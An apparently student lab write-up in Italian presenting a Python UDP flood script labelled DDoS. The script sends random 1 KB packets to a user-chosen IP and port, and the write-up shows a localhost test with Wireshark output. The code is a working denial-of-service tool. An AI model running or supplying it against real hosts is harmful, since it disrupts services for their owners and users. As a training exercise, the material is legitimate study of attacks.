

# DDoS

---

In questo esercizio ho realizzato un programma in Python che simula un attacco di tipo UDP flood, ovvero l'invio massivo di pacchetti UDP verso una macchina target.

Il programma richiede in input:

l'indirizzo IP della macchina target,

la porta UDP sulla quale inviare i pacchetti,

il numero di pacchetti da 1 KB da trasmettere.

I pacchetti vengono costruiti generando byte casuali (tramite il modulo random) per raggiungere la dimensione di 1 KB ciascuno.

```
1  import random
2  import socket
3
4  def UDP():
5      dati_da_inviare = random._urandom(1024)
6
7      # while True:
8      for x in range(numero_pacchetti):
9          s.sendto(dati_da_inviare, target)
10         print("#", x, "UDP inviato\n")
11
12 indirizzo_ip = str(input("Inserisci l'indirizzo IP target:"))
13 porta = int(input("Inserisci la porta:"))
14 numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare:"))
15
16 try:
17     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
18     target = (str(indirizzo_ip), int(porta))
19 except:
20     s.close()
21     print("! Error !!! ")
22
23 UDP()
```

Dopo l'esecuzione, con Wireshark è stato possibile osservare il traffico UDP generato, confermando l'invio dei pacchetti verso l'host e la porta indicati.

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol
1	0.000000000	127.0.0.1	127.0.0.1	ICMP
2	0.000012206	127.0.0.1	127.0.0.1	ICMP
3	19.769096097	127.0.0.1	127.0.0.1	UDP
4	19.769111460	127.0.0.1	127.0.0.1	ICMP
5	19.769278821	127.0.0.1	127.0.0.1	UDP
6	19.769286252	127.0.0.1	127.0.0.1	ICMP
7	19.769398429	127.0.0.1	127.0.0.1	UDP
8	19.769405471	127.0.0.1	127.0.0.1	ICMP
9	19.769510670	127.0.0.1	127.0.0.1	UDP
10	19.769517607	127.0.0.1	127.0.0.1	ICMP
11	19.769621212	127.0.0.1	127.0.0.1	UDP
12	19.769628117	127.0.0.1	127.0.0.1	ICMP

127.0.0.1 ping statistics

1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 0.032/0.032/0.032/0.000 ms

(kali@kali)-[~/Desktop/m2/w7d4]

\$ python3 w7d4.py

Inserisci l'indirizzo IP target:127.0.0.1

Inserisci la porta:1234

Inserisci il numero di pacchetti da inviare:5

# 0 UDP inviato

# 1 UDP inviato

# 2 UDP inviato

# 3 UDP inviato

# 4 UDP inviato

(kali@kali)-[~/Desktop/m2/w7d4]

\$ sS

Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) on interface

Ethernet II, Src: 00:00:00:00:00:00 (00:00:00:00:00:00), Dst: 00:00:00:00:00:00 (00:00:00:00:00:00)

Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1